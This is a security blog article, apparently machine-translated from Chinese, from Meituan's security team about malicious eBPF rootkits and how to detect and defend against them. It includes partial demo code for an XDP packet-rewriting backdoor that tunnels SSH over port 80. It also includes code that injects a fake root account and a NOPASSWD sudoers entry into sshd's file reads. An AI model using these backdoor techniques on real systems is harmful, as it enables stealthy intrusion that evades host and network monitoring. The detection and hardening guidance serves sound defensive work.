In recent years, the field of cloud native has developed rapidly, and eBPF technology has become the preferred technology of various manufacturers, blooming everywhere in the field of network orchestration, behavior observation and so on. However, there are both benefits and risks. The Bvp47 backdoor that has been exposed recently has been lurking around the world for nearly two decades with BPF technology. BPF has evolved into eBPF today. How will hackers use it and what harm will it cause? And how can we prevent it?

preface

In recent years, the cloud native field has developed rapidly, and K8s has become the recognized cloud operating system. The high frequency of container deployments, short life cycles, and complex network routing all bring new challenges to kernel security. With the increasing complexity of the system kernel, it is extremely difficult to meet the new requirements such as performance and scalability while ensuring the stable availability of the system. At this time, eBPF appeared, which ensured the stability of the system kernel with minor subsystem changes. It also had the characteristics of real-time dynamic loading, which could load the business logic into the kernel and realize the dynamic execution of hot update.

EBPF is developed from BPF, Berkeley Packet Filter, which was proposed by Steven McCanne and Van Jacobson in 1992. It was introduced into Linux Kernel 2.1 in 1997 and added real-time compiler in 3.0. Application in the field of network filtering. In 2014 Alexei Starovoitov implemented eBPF and extended it to user space, making it even more powerful. The commonly used TCPDUMP&LIBPCAP is based on it. In Linux Kernel 4.x, event types such as kernel-mode function, user-mode function, trace point, performance events (Perf_events) and security control are extended. Especially in recent years, the rapid development of cloud native has also led to the prosperity of eBPF. Companies such as Microsoft, Google and Facebook have established eBPF foundations, and Cilium has also released web products based on eBPF technology. But while eBPF technology is driving rapid growth in new businesses, it also poses security threats.

Analysis of the situation

As can be seen from some overseas and domestic data, eBPF has been maliciously used by many illegal organizations and institutions while solving many technical problems.

Overseas information

Black Hat

At the Black Hat 2021 Summit, Datadog engineer Guillaume Fournier brought the theme With Friends Like eBPF, Who Needs Enemies? He explained how eBPF can be maliciously exploited, including how to build a Rootkit, how to exploit it, and put the detection defense code on GitHub.

DEFCON

At DEF CON29, security researcher Pat Hogan also shared some examples of eBPF being exploited maliciously: Warping Realy-Creating and cures the next Generation of Linux RootKits using eBPF. This document describes the application scenarios of the eBFP RootKit. It covers network, runtime scenarios, and how to detect malicious use of eBPF. The code is also posted on GitHub.

Domestic data

Compared with foreign countries, domestic eBPF is less maliciously used and related technology is less shared. Perhaps this aspect of the harm has not been the attention of domestic security counterparts, if we continue to do so, it is bound to affect the construction of domestic companies in the network security defense system, and then lead to security protection behind foreign countries, to enterprise security and even national security brings greater risk. Meituan information security team as the defense system construction side, has the responsibility and obligation to lead everyone to better understand this malicious use, share meituan in detection and defense experience, strengthen network security products, hope to contribute to the construction of domestic information security.

Attack principle of MALICIOUS use of eBPF technology

Only by knowing yourself and knowing your enemy can you win a hundred battles. If you want to defend yourself well, you must understand its attack principle. Let’s take a look at how the ROOTkit for eBPF is designed. In terms of eBPF functionality, it provides functionality in the following areas:

  • network
  • monitoring
  • observation
  • Tracking & Performance analysis
  • security

In the field of network, Cilium and other cloud native companies have made a lot of network layer products. In addition to the realization of grid management, they have also made corresponding network layer security policies. Especially in the field of network orchestration, their performance is particularly bright, gradually replacing iptables and other products, showing a trend of dominating the country. There are also many products in monitoring, observation and other fields. Especially in the Runtime Security space, Datadog, Falco, Google and others have also launched products. Interested students, please refer to the relevant product source analysis (Cilium eBPF implementation mechanism source analysis, Datadog eBPF security detection mechanism analysis) to share.

Let’s review the hook points of eBPF technology:

As can be seen from the figure, the hook point function of eBPF includes the following parts:

  1. Can be between Storage, Network, and kernel interaction;
  2. It can also interact between functional modules in the kernel;
  3. Can also be between the kernel and user mode interaction;
  4. Can also be in the user – mode process space.

EBPF functions cover XDP, TC, Probe, Socket, etc. Each function point can realize kernel-mode tampering behavior, so that user mode is completely blind, even HIDS based on kernel modules can not sense these behaviors.

Based on eBPF functions, from the perspective of business scenarios, the functions of network, monitoring and observation promote the development of products in the cloud native field; Tracing, performance analysis, and security functions accelerate the evolution of security defense and audit products. The malicious use of security will also become the focus of hackers. This article will discuss the new threat and defense ideas with you.

From the point of view of the stage of data flow, this paper is divided into two parts. Next, malicious use, risk hazards and defense ideas are discussed.

  1. Malicious use of Linux network layer
  2. Malicious use of Linux system running time

Malicious use of Linux network layer

The following uses an SSH server with Web services as an example. In the COMMON NETWORK access policy of THE IDC, open Web port 80 on the public network to allow IP access from any source. The SSH service allows access only to specific IP addresses or Intranet ports.

Suppose that the server has been hacked, and the hacker needs to leave a back door behind, and needs a hidden, reliable network link as the back door, how does this work with eBPF technology?

Modify TCP packets at the XDP/TC layer

To make backdoor hiding better, it is best not to open processes and not to listen on ports (in this section we only discuss network layer hiding). EBPF technology in XDP, TC, Socket and other kernel layer functions, can achieve traffic information modification, these functions are often used in L3, L4 network load balancing. For example, Cilium’s network strategy is based on eBPF XDP. EBPF hooks XDP points, changes the destination IP of TCP packets, and the system kernel forwards the packets.

According to the positions of the INGress and egress in the Linux kernel, the hook point can be determined accurately.

  • BPF_PROG_TYPE_XDP program type of the XDP. The BPF_PROG_TYPE_XDP program type of the XDP can discard, modify, or retransmit traffic from the ingress but does not apply to the egress.
  • In addition to having XDP BPF_PROG_TYPE_XDP functions, the TC’s BPF_PROG_TYPE_CLS can also function on the Egress.

The most common scenario of the former is to do a network firewall, which is used to clean network traffic and has a much higher efficiency than the traditional firewall. The latter is often used in cloud native scenarios, such as container, Pod network monitoring, secure access control, etc. In this example, both hook points need to be present to adjust incoming and outgoing traffic. Similarly, hook in XDP and other stages can better hide communication packets by processing related package logic, which cannot be caught by tcpdump and other tools.

Control links

In a backdoor scenario, you can change the target port from 80 on the Web Nginx to 22 on the SSHD at the same location as the eBPF load balancer to achieve transparent transmission of network data, bypassing firewalls and network access restrictions.

Authentication key

Since the backdoor rootkit works at the XDP-TC layer, it is best to use only link layer, network layer, transport layer data, i.e. MAC information, IP quintuple and so on, for the sake of simplicity. If THE IP address changes frequently, the MAC address is most likely to be unique, and a fixed port is set to be more unique, which can be used as the authentication key of the rootkit (when a Client initiates a connection, specify the TCP port of the Client).

EBPF UProbe associates with eBPF Map

For backdoor rootkit key update, using eBPF is also a good implementation. For example, in the Nginx scenario, UProbe implements hook HTTP functions, obtains specific strings in URL parameters, and saves the strings in eBPF map to realize key update.

When the eBPF rootKit at the XDP/TC layer is executed, the key in eBPF map is read for comparison.

The implementation process

Here’s an example of how XDP handles ingress:

SEC("xdp/ingress")
int xdp_ingress(struct xdp_md *ctx) {
struct cursor c;
struct pkt_ctx_t pkt;

// Check whether it is the SSHD protocol
if(! (not SSHD protocol (&C)) {return XDP_PASS;
}

// Check whether the rootKit matches and whether the nic information matches the source port
hack_mac[] = "Read the BPF map configuration."
if(Key mismatch) {return XDP_PASS;
}

// Read the map and check whether the client information exists
struct netinfo client_key = {};
__builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN);

struct netinfo *client_value;
client_value = bpf_map_lookup_elem(&ingress_client, &client_key);

// If you can't find the masquerade, assemble it yourself
if(! client_value) { __builtin_memset(&client_value,0, sizeof(client_value));
} else {
bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY);
}


// Masquerade MAC LAN MAC information
pkt.eth->h_source[0] = 0x00; .// Replace the masquerade IP source with the same client port

// Change the destination port
pkt.tcp->dest = htons(FACK_PORT);    / / 22

// Calculate TCP SUM layer 4
ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum);
pkt.tcp->check = csum;

// Writes a disguised map to restore the original MAC address and IP address of the Egress.
return XDP_PASS;
}
Copy the code

A simple Demo can disguise TCP packets on the ingress side. Similarly, the TC layer only needs to restore the original information of disguised packets when processing egress packets. The whole process is shown in the figure below:

In this way, the communication link of the rootkit does not affect normal user access, nor does it change the original system, so it is very hidden.

Video presentation

We prepared three host tests:

  1. The intruder is CNXct-mt2, and the IP address is 172.16.71.1.
  2. Common user: Ubuntu. The IP address is 172.16.71.3.
  3. The server that was hacked: Vm-Ubuntu, IP 172.16.71.4. Open nginx Web 80 port; Enable port SSHD 22 and set the iptables rules to allow access only from Intranet IP addresses.

Video link

harm

Instead of actively creating sockets, the Rootkit borrows one of the networks to send packets and deliver messages to backdoor users. It is only a small network response with insignificant impact on the system. In the thousands of HTTP packages, it is impossible to locate.

  1. Iptables firewall Bypass: Uses the open port 80 as the communication tunnel.
  2. WebIDS bypass: After traffic reaches the server, it is not passed to Nginx;
  3. NIDS bypass: Intruders flow between lans without exception, but cannot be decrypted.
  4. HIDS bypass: Whether the firewall is trusted and SSHD logins from local/LAN sources are ignored.

Malicious use of Linux system running time

Under the cloud native ecology, a large number of cluster network management plug-ins based on eBPF technology have emerged, such as Calico and Cilium. Business implementation network management services are deployed as containers, and it is necessary to enable SYS_BPF_ADMIN for these containers to support eBPF system calls. The operating environment of these services also leaves a perfect space for attackers to play.

The implementation process

Looking back at eBPF hook points, the kprobe and Tracepoint event types used in Syscall are terrible in backdoor rootkit scenarios. For example, modify the kernel state returned to the user state of the data, blocking the user state behavior, and so on. More frightening is that common HIDS are based on kernel mode or user mode for behavior monitoring, eBPF just bypasses most of the HIDS monitoring, and does not generate any logs, it is very scary to think about.

Tracepoint Event type Hook

In the SSHD application, when a user logs in, files such as /etc/passwd are read. User SSHD program, call open, read and other system calls, let the kernel to retrieve data on the hardware disk, and then return data to the SSHD process.

Payload is generated in user mode

In user mode, file payloads such as /etc/passwd and /etc/shadow are generated. Field values of elf. rodata are replaced using eBPF’s RewriteConstants mechanism.

import "github.com/ehids/ebpfmanager"

// Pass data through elf's constant substitution
func (e *MBPFContainerEscape) constantEditor(a) []manager.ConstantEditor {
	var username = RandString(9)
	var password = RandString(9)
	var s = RandString(8)

	salt := []byte(fmt.Sprintf("$6$%s", s))
	// use salt to hash user-supplied password
	c := sha512_crypt.New()
	hash, err := c.Generate([]byte(password), salt)
    
	var m = map[string]interface{}{}
	res := make([]byte, PAYLOAD_LEN)
	var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username)
	copy(res, payload)
	m["payload"] = res
	m["payload_len"] = uint32(len(payload))

    // Generate a passwd string
	var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username)
	// Generate a shadow string
	var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash)
	
    // eBPF RewriteContants
    var editor = []manager.ConstantEditor{
		{
			Name:          "payload",
			Value:         m["payload"],
			FailOnMissing: true,
		},
		{
			Name:          "payload_len",
			Value:         m["payload_len"],
			FailOnMissing: true,}}return editor
}

func (this *MBPFContainerEscape) setupManagers(a) {
	this.bpfManager = &manager.Manager{
		Probes: []*manager.Probe{
			{
				Section:          "tracepoint/syscalls/sys_enter_openat",
				EbpfFuncName:     "handle_openat_enter",
				AttachToFuncName: "sys_enter_openat",},... }, Maps: []*manager.Map{ { Name:"events",
			},
		},
	}

	this.bpfManagerOptions = manager.Options{
		...
		// Populate the RewriteContants map
		ConstantEditors: this.constantEditor(),
	}
}
Copy the code

The kernel mode uses payload

const volatile int payload_len = 0; .const volatile char payload_shadow[MAX_PAYLOAD_LEN];

SEC("tracepoint/syscalls/sys_exit_read")
int handle_read_exit(struct trace_event_raw_sys_exit *ctx)
{
    // Check whether it is a rootkit behavior and whether payload needs to be loaded.long int read_size = ctx->ret;
    // Determine whether the original buff length is smaller than the payload
    if (read_size < payload_len) {
        return 0;
    }
    
    // Determine the file type and match the payload
    switch (pbuff_addr->file_type)
    {
    case FILE_TYPE_PASSWD:
        // Overwrite the payload to buf
        {
            bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr);
            for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) {
                if (i >= payload_passwd_len) {
                    local_buff[i] = ' ';
                }
                else{ local_buff[i] = payload_passwd[i]; }}}break;
    case FILE_TYPE_SHADOW:
        // Overwrite the shadow file.break;
    case FILE_TYPE_SUDOERS:
        //覆盖sudoers.break;
    default:
        return 0;
        break;
    }


    // Write the payload to the buffer
    ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN);
    // Send events to user mode
   
    return 0;
}
Copy the code

The root account is added with a random user name and password based on the design of rootKit in Demo. For authentication and authentication, you can use eBPF Map to interact with Demo of MALICIOUS Use of eBPF Network Layer to implement authentication. However, the Rootkit itself does not change the files on the hard disk and does not cause risky behavior. And, only for a specific process to do coverage, concealment is better. The whole process is shown in the figure below:

This works on both physical machines and containers that have root+BPF privileges.

Video presentation

Video link

Serious damage to

In cloud native scenarios, there are many container scenarios that grant SYS_ADMIN permission. With the recent “Java Log4j” vulnerability, it would be terrible to directly break through the container and get the host permission.

However, worse than that, the rootkit itself does not generate user-mode behavior logs, nor does it change files, and the system does not find this user information. The whole backdoor behavior produces no data and disables most HIDS.

review

Judging from the two scenarios demonstrated in this article, I believe you already know the dangers of malicious use of eBPF technology. In fact, this is only the tip of the iceberg of eBPF technology by malicious interests, kproeb\ UProbe also has many functions, such as process hiding, traceless Intranet scanning and so on. Bad BPF – Warping Reality using eBPF for more information on malicious exploitation.

If the intruder carefully designed rootkit, implement process hiding, etc., to make the rootkit more hidden, according to the idea of this article, implement a “ghost” back door, it is frightening to think.

Conventional host security defense products generally use Netlink, Linux Kernel Module and other technologies to realize process creation, network communication and other behavior awareness, but THE hook point of eBPF can be deeper and earlier than these technologies, meaning that ordinary HIDS cannot detect them.

Traditional Rootkit uses hook API method to replace the original function, resulting in the change of the address of the function call. There is a mature detection mechanism. EBPF Hook is different from traditional Rootkit, and the function call stack remains unchanged. This caused great trouble for detection.

So how do we detect defenses against this back door?

Detection of defense

From the perspective of the event occurrence process, it can be divided into three stages:

  • Before running
  • The runtime
  • After the operation

Before running

The idea of reducing the attack surface before a malicious program runs remains the same.

Environmental restrictions

No matter the host or the container, the permissions are converged. If the permissions such as SYS_ADMIN and CAP_BPF are not granted, the permissions are prohibited. If you must open this permission at all, you can only do so during the run-time inspection.

Seccomp limit

When the container is started, modify the default seccomp.json to prohibit BPF system calls and prevent the container from escaping. Note that this method is invalid for Privileged containers.

Kernel compilation parameter limits

Bpf_override_return is used when modifying the return value of a function for runtime protection. This function requires the CONFIG_BPF_KPROBE_OVERRIDE compilation parameter to be enabled by the kernel. Therefore, do not enable this compilation parameter except in special cases.

Non-privileged user directives

Most eBPF program types require a user with root permission to call and execute. With a few exceptions, such as BPF_PROG_TYPE_SOCKET_FILTER and BPF_PROG_TYPE_CGROUP_SKB, root is not required. But you need to read the system configuration switch.

/ / https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240

if(type ! = BPF_PROG_TYPE_SOCKET_FILTER && type ! = BPF_PROG_TYPE_CGROUP_SKB && ! bpf_capable())return -EPERM;
Copy the code

Switch to confirm

In/proc/sys/kernel/unprivileged_bpf_disabled, sysctl can be performed by the kernel. Unprivileged_bpf_disabled = 1 to modify the configuration. See Documentation for /proc/sys/kernel/ for configuration implications.

  • A value of 0 allows non-privileged users to invoke BPF;
  • If the value is 1, non-privileged users are not allowed to invoke BPF and the value cannot be changed. The value can only be changed after a restart.
  • A value of 2 forbids non-privileged users from invoking BPF, and can be changed again to 0 or 1.

Characteristics of the check

It has been proposed that signature verification be performed when BPF bytecodes are loaded by the kernel so that only BPF bytecodes loaded with security signatures can be achieved. This topic is also listed in lwn.net: BPF bytecode signature schemes.

However, many people also raised the objection that the development of BPF module in recent years is too abstract and more and more complex, so they do not want to add additional functions to make BPF more unstable. Instead, the idea is to change the bytecode loading time signature to “execute BPF bytecode loading user-mode program for signature”, which is an existing kernel function and will not increase system complexity.

This article argues that this does alleviate most of the BPF bytecode loading problems. However, loading with native system commands (TC \ IP \bpftool, etc.) is still under threat. For example, run IP link set dev ens33 XDP obj xdp-example_pass.o.

Run to check

Most eBPF programs don’t exist after a reboot, so intruders try to make the back door start on its own. Check scheduled tasks such as automatic startup and crontab in Linux.

User-mode programs can exist in various forms, from ELF executables to ELF SO dynamic link libraries. At execution time, BPF syscall must be called to load the BPF bytecode. It is not accurate enough to detect only executable ELF.

The runtime

monitoring

In Linux system, all programs running must make system call, eBPF program is no exception. The SYS_BPF directive with syscall 321 needs to be called. Also, all eBPF program execution and map creation must make this syscall call. Well, intercepting and monitoring the route is the best solution.

SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) {
	struct bpf_context_t *bpf_context = make_event();
	if(! bpf_context)return 0;
	bpf_context->cmd = args->cmd;
	get_common_proc(&bpf_context->procinfo);
	send_event(args, bpf_context);
    return 0;
}
Copy the code

Here, our open source Ehids project does an example of BPF syscall detection, which Fork can see. The storage address is GitHub/ Ehids.

Careful readers may wonder at this point, what if an intruder’s backdoor executes early and spooks the system call? This is a very good question and will be discussed in the post-run traceability section. However, for most scenarios, HIDS defense products can be activated as soon as possible.

Audit & Screening

Above we discussed monitoring calls to the BPF system. However, in the cloud native scenario, network products based on eBPF will be frequently called, which will generate a large number of event logs, thus bringing great pressure to the operation students. The next goal, then, is to simplify and select behaviors precisely.

Filter by program whitelist

Data filtering is a solution to the pressure of massive data. On some SERVICE servers of BPF applications, a large number of calls are generated due to service behaviors, which brings great audit pressure to security warnings. For known processes, we can filter by process characteristics.

Obtains pid and Comm attributes of the current process and determines whether to report or intercept the process based on eBPF map configurations written in user mode. Filtering can also be done in user mode, but kernel mode is more efficient. If you do interception, it must be implemented in kernel mode.

We can refer to saBPF product design ideas, use eBPF to achieve LSM hook point hook procedures, complete the relevant audit call. The code for GitHub/ Sabpf-Project is just a Demo, but the ideas can be used for reference.

Filter by SYSCALL type

In BPF Syscall, the functions of subcommands include map, PROg and other types of operations. The BPF () subcommand Reference has detailed read and write apis. In actual service scenarios, write has higher security risks than read. Therefore, we can filter out “read” operations and only report and audit “write” operations.

Such as:

  • Creating a MAP BPF_MAP_CREATE
  • Loading BPF_PROG_LOAD PROG
  • BPF_OBJ_PIN
  • BPF_PROG_ATTACH
  • BPF_BTF_LOAD
  • BPF_MAP_UPDATE_BATCH

In particular, business scenarios with BPF requirements can better audit logs.

After the operation

EBPF user – mode program and kernel – mode program interaction, loading BPF bytecode, can exit? Does the BPF function of kernel hook still work after exit? Does the created map still exist? Backdoor procedures to ensure better concealment, how should we choose?

To answer these questions, we have to mention the loading mechanism of BPF programs, the BPF object life cycle.

File descriptors and reference counters

User-mode programs access BPF objects (progs, maps, debugging information) via the file descriptor FD, and each object has a reference counter. User mode open, read the corresponding FD, the corresponding counter will increase. If FD is off, the reference counter is reduced, and the kernel releases the BPF object when refCNt is 0, the BPF object will no longer work.

In security scenarios, if the user – mode backdoor process exits, the backdoor eBPF program also exits. This can be an advantage when doing security checks to see if the list of processes contains suspicious processes.

However, not all BPF objects exit as the user-mode process exits. From the kernel’s point of view, you just need to keep the refCNT greater than 0 to keep the BPF object alive and the backdoor process working. In BPF, hooks like XDP, TC, and Cgroup-based hooks are global and do not exit when a user exits. The corresponding FD is maintained by the kernel to ensure that the RefCNT counter is not zero so that work continues.

roots

Security engineers often need to implement different traceability policies based on different scenarios. The traceability method described in this article uses eBPF interfaces, which means that if the malicious program runs before the inspection tool, there is a possibility of falsification of the results.

Short life cycle

BPF program type represents

  • k[ret]probe
  • u[ret]probe
  • tracepoint
  • raw_tracepoint
  • perf_event
  • socket filters
  • so_reuseport

The feature is based on FD management, automatic kernel cleaning, better system stability. The backdoor of this type of program, which is obviously featured in the investigation, is user-mode process. It can be obtained from the list of BPF programs running on the system.

Bpftool tools

List of eBPF programs

The bpftool prog show command and bpftool prog help command are used to view more parameters.

In the result, you can view the BPF program running in the current system, the ASSOCIATED BPF Map ID, and process information. In addition, careful readers may notice that the XDP data does not contain process ID information in the results, which will be discussed later.

EBPF map list

The bpftool map show command and bpftool map help command are used to view more parameters.

By viewing map information, you can perform auxiliary correction with program information. In addition, map data can be exported to identify malicious process behavior. This is discussed in the section “Forensics”.

bpflist-bpfcc

The bpflist-bpfcc-vv command shows a list of “partial” BPF programs currently running on the server. Take the test environment as an example:

root@vmubuntu:/home/cfc4n/project/xdp## bpflist-bpfcc  -vv
open kprobes:

open uprobes:

PID    COMM             TYPE  COUNT
1      systemd          prog  8
10444  ehids            map   4
10444  ehids            prog  5
Copy the code

You can see that the system process Systemd started eight prog programs. The Ehids process creates four eBPF Maps and five PROGs. However, the IP link set dev ens33 XDP obj xdp-example_pass.o command is not displayed. This means that the output of this command is not for all BPF applications and maps.

Long life cycle

BPF program type represents

  • XDP
  • TC
  • LWT
  • CGROUP

As mentioned above, when the BPF bytecode is loaded using the IP command, the BPF tool cannot query or information is missing. The reason behind this needs to be explained in terms of how it works.

The IP command loads the BPF principle

The life cycle of A BPF object is managed using a reference timer, a general principle that all BPF objects need to follow. In the long-life program type FD, the user control program passes parameters to the kernel space, and then the kernel space maintains them.

Take the IP command IP link set dev ens33 XDP obj xdp-example_pass.o as an example. O FD of bytecode, send message of type IFLA_XDP (subtype IFLA_XDP_FD) to kernel through NETLINK, kernel calls dev_change_xdp_fd function, nic takes over FD, reference counter increases, The BPF program still works after the IP process in user space exits. See the kernel source at elixir.bootlin.com/linux.

Packet capture verification is done in this paper. IP program is associated with XDP program type:

17:53:22.553708 sendmsg(3, {msg_name={sa_family=AF_NETLINK, NL_PID =0, NL_groups =00000000}, MSg_namelen =12, msg_iov=[ { iov_base={ {nlmsg_len=52, nlmsg_type=RTM_NEWLINK, nlmsg_flags=NLM_F_REQUEST|NLM_F_ACK, nlmsg_seq=1642672403, nlmsg_pid=0}, {ifi_family=AF_UNSPEC, ifi_type=ARPHRD_NETROM, ifi_index=if_nametoindex("ens33"), ifi_flags=0, ifi_change=0}, { {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, 6}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } }, iov_len=52 } ], msg_iovlen=1, msg_controllen=0, msg_flags=0 }, 0) = 52Copy the code

You can see that the FD argument after IFLA_XDP_FD is 6. Similarly, to delete the XDP program, FD needs to be set to -1, corresponding NETLINK package composition is as follows:

17:55:16. 306843 sendmsg (3, {... {nla_len=20, nla_type=IFLA_XDP}, [ {{nla_len=8, nla_type=IFLA_XDP_FD}, -1}, {{nla_len=8, nla_type=IFLA_XDP_FLAGS}, XDP_FLAGS_UPDATE_IF_NOEXIST} ] } ... = 52}, 0)Copy the code

In addition to IP commands, TC command classifiers also support BPF programs, loading BPF programs into the Ingress /egress hook point as classifiers and Act ions. The principle behind is similar to IP, which is NetLink protocol and kernel communication, and the nic maintains the BPF object counter.

Detection mechanism

Run the native IP address and TC commands to view the BPF object loaded by the nic

  1. ip link show
  2. Tc filter show dev [nic name] [ingress | egress]

Run the bpftool command

The bpftool net show dev ens33 -p command is used to view network-related eBPF hook points.

You can run the bpfTool prog show command to check the loading status of BPF_PROG_TYPE_CGROUP_SKB and BPF_PROG_TYPE_CGROUP_SOCK programs of CGROUP. The difference between BPF programs with long and short life cycles is the lack of user-space process PID information. As shown below:

BPFFS

In addition to the methods mentioned earlier, the BPF file system BPFFS is also the way to get BPF programs running in the background. User-space processes can PIN BPF programs to BPFFS using any name. Have the BPFFS automatically increment the REFCNT reference counter of the BPF object to keep the background active. When used, just use BPF_OBJ_GET (” BPFFS Path “) to get the FD of the BPF object.

The type of BPFFS on Linux is BPF_FS_MAGIC. The default directory is /sys/fs/ BPF /, which can be customized, but ensure that the file system type is UNIx.bpF_fs_magic.

In this way, we need to pay attention to whether the virtual file system is of type UNIx.bpF_fs_magic.

On Linux, mount -t BPF to see if the BPFFS type is included in all the file types that are mounted on the system.

Once we have identified the BPFFS directory, we check to see if the mount points under the directory are abnormal.

forensics

Export of BPF objects loaded by the kernel

The bPFTool can export prog and map with FD ID.

BPF prog program

You can export opcode\ Visual \linum and other formats, and you can generate call diagrams. See the bPFtool help file for details.

root@vmubuntu:/home/cfc4n# bpftool prog help
bpftool prog dump xlated PROG [{ file FILE | opcodes | visual | linum }]
bpftool prog dump jited  PROG [{ file FILE | opcodes | linum }]
Copy the code

BPF map

Like Prog, you can export content through bPFTool and support JSON formatting.

root@vmubuntu:/home/cfc4n# bpftool map dump id 20
[{
        "value": {
            ".rodata": [{
                    "target_ppid": 0
                },{
                    "uid": 0
                },{
                    "payload_len": 38
    ...
Copy the code

BPFFS

BPFFS type BPF objects, although it is more convenient to put in the background execution, user space programs can exit, can also be read again, but it also brings great convenience for forensics. The bpftool command also supports exporting prog and map from the pinned path to the BPFFS file system. Parameters are slightly different, see bpfTool Help for details.

BPF objects not loaded by the kernel

The BPF bytecode must be called by the user-space program that locates the backdoor rootkit. Bytecode content is typically placed in a separate file or compiled as bytecode into the current program. This is just a matter of using a decompiler like IDA, locating the relevant byte stream, and exporting it.

Take the Ehids process in the demonstration video of this article as an example, using GitHub/ Ehids/ebPFManager pure Go eBPF module manager package, For eBPF bytecodes, the BPF bytecodes are loaded, Gzip compressed, and used as variables in Go code to compare boundaries at deployment time using the github.com/shuLhan/go-bindata/cmd/go-bindata package.

Noptrdata, 00000000008270s, and then unzip the data, you can restore the original BPF ELF file.

Because each BPF user mode implementation is different and the class library is different, static analysis can be difficult in practice. It can simulate the same environment, run dynamically, hook BPF syscall in advance, find FD Settings, and also export BPF ELF files.

Bytecode analysis

The BPF bytecode itself is ELF format, but there are some differences in format instructions. IDA Proc is a Python plugin for eBPF and IDA Pro. Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool

How to defense

In network security scenarios, eBPF can be used for intrusion detection and defense. LSM PROBE Hook provides related functions. Take the container escape scenario as an example. The most obvious feature of the behavior is that the namespaces of the parent and child processes are inconsistent. After the child process is created, the parent process checks whether this feature matches and returns the return value of the EPERM overwrite process creation function to defend itself. Compared to defense implementations such as kernel modules, eBPF implementations are more secure, stable, and reliable, thus solving the problem of container escape at the source.

Similarly, eBPF is considered to be the best virtual patch, hot update solution for binary layer.

LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)
{
    return -EPERM;
}
Copy the code

There are certain requirements on system configuration, CONFIG_BPF_LSM= Y, CONFIG_LSM and other configurations must include BPF. For details, refer to BCC class library Demo LSM Probe.

Project implementation

try

To get started, you can try using the BCC library: GitHub/BCC, and a variety of Demo examples of USER space programs in C language, Demo BPF Applications.

The class library to choose

In engineering, there are requirements on project quality, stability and r&d efficiency, etc. It is recommended that Cilium’s pure Go eBPF class library be endorsed by Cilium official and can be used safely. Datadog’s Agent products also use this library.

The product of this paper also refers to Datadog, which abstractly packages Cilium’s eBPF library to achieve convenient configuration and management of eBPF programs. GitHub repository: EhIDS/ebPFManager, welcome to use.

Of course, you can also use the LibbPF wrapped Go library, such as Tracee.

System compatibility Co-RE

The emergence of eBPF greatly simplifies the threshold of writing kernel-based code, high security, friendly loading mode, efficient data interaction, so THAT eBPF is popular. However, just like writing traditional kernel modules, kernel function development is accompanied by heavy adaptation testing work, which is made more difficult by various Linux kernel versions. This is why BCC + CLang + LLVM was criticized by people for a long time before THE emergence of BTF. The program is compiled while it is running, and the target machine has to install the clang LLVM kernel-header compilation environment. Compilation also consumes a lot of CPU resources, which is not acceptable on some high-load machines.

Therefore, BTF can be interpreted as a way to describe the Debug message. The traditional way of describing the Debug message is very large, but the Linux kernel usually disables the Debug message. BTF solves this problem and greatly reduces the size of the Debug message. This makes it possible for the production kernel to carry Debug information.

The good news is, through the use of BTF&CO RE this technology, can be adapted to help developers to save a lot of energy, but the technology is still in development, there are many processing scenarios, such as the structure members are moving substructure in the body, at that time still need to manually to solve the problem, BTF developers also wrote an article, Pdf-core-reference-guide describes solutions in different scenarios.

A large project

In foreign countries, cloud native products develop rapidly, and a batch of products based on eBPF have emerged, including Cilium, Datadog, Falco, Katran, etc., which are applied in various fields such as network layout, network firewall, tracking positioning, and run time security. We can learn from the research and development experience of these large projects to speed up product construction. Including multi-system compatibility, framework design, project quality, monitoring system construction and so on. This article focuses on detection and defense, and we will share relevant experience of engineering construction in future articles.

conclusion

With the rapid development of cloud native, eBPF implementation software, operating environment will be more and more. And malicious use of eBPF will become more common. From the situation at home and abroad, foreign research on this direction is far ahead of the domestic, we once again call on everyone, network security products should have eBPF related threat detection capability as soon as possible.

This paper discusses the malicious use and detection mechanism based on eBPF technology. We will share with you the content of eBPF defense detection product development and engineering construction in the next article. Please look forward to it.

Author’s brief introduction

Chen Chi, Yang Yi, Xin Bo, all from Meituan Information security Department.

reference

  • Creating and Countering the Next Generation of Linux Rootkits
  • DEFCON 29 – eBPF, I thought we were friends
  • PDF collection of various technical applications of eBPF
  • Offensive BPF: Malicious bpftrace
  • Bad BPF – Warping reality using eBPF
  • Lifetime of BPF objects
  • BPF program (BPF Prog) type description: use scenario, function signature, execution location and program example
  • Features of bpftool: the thread of tips and examples to work with eBPF objects
  • Reverse Engineering Ebpfkit Rootkit With BlackBerry’s Enhanced IDA Processor Tool
  • Creating and countering the next generation of Linux rootkits using eBPF
  • eBPF Syscall
  • Cilium eBPF implementation mechanism source code analysis
  • ebpfkit is a rootkit powered by eBPF

recruitment

Meituan Information Security Department is looking for research and development experts. The positions are as follows:

  • Security RESEARCH and Development Expert (Host security direction)
  • Security R&d Specialist (RASP direction)
  • Web Development Architect (Java Language)

For detailed description, please refer to: 2022 Recruitment of Meituan Information Security Department. Welcome to join us and build a security barrier together to protect everyone’s safety.

Read more technical articles from meituan’s technical team

Front end | | algorithm back-end | | | data security operations | iOS | Android | test

| in the public bar menu dialog reply goodies for [2021], [2020] special purchases, goodies for [2019], [2018] special purchases, 【 2017 】 special purchases, such as keywords, to view Meituan technology team calendar year essay collection.

| this paper Meituan produced by the technical team, the copyright ownership Meituan. You are welcome to reprint or use the content of this article for non-commercial purposes such as sharing and communication. Please mark “Content reprinted from Meituan Technical team”. This article shall not be reproduced or used commercially without permission. For any commercial activity, please send an email to [email protected] for authorization.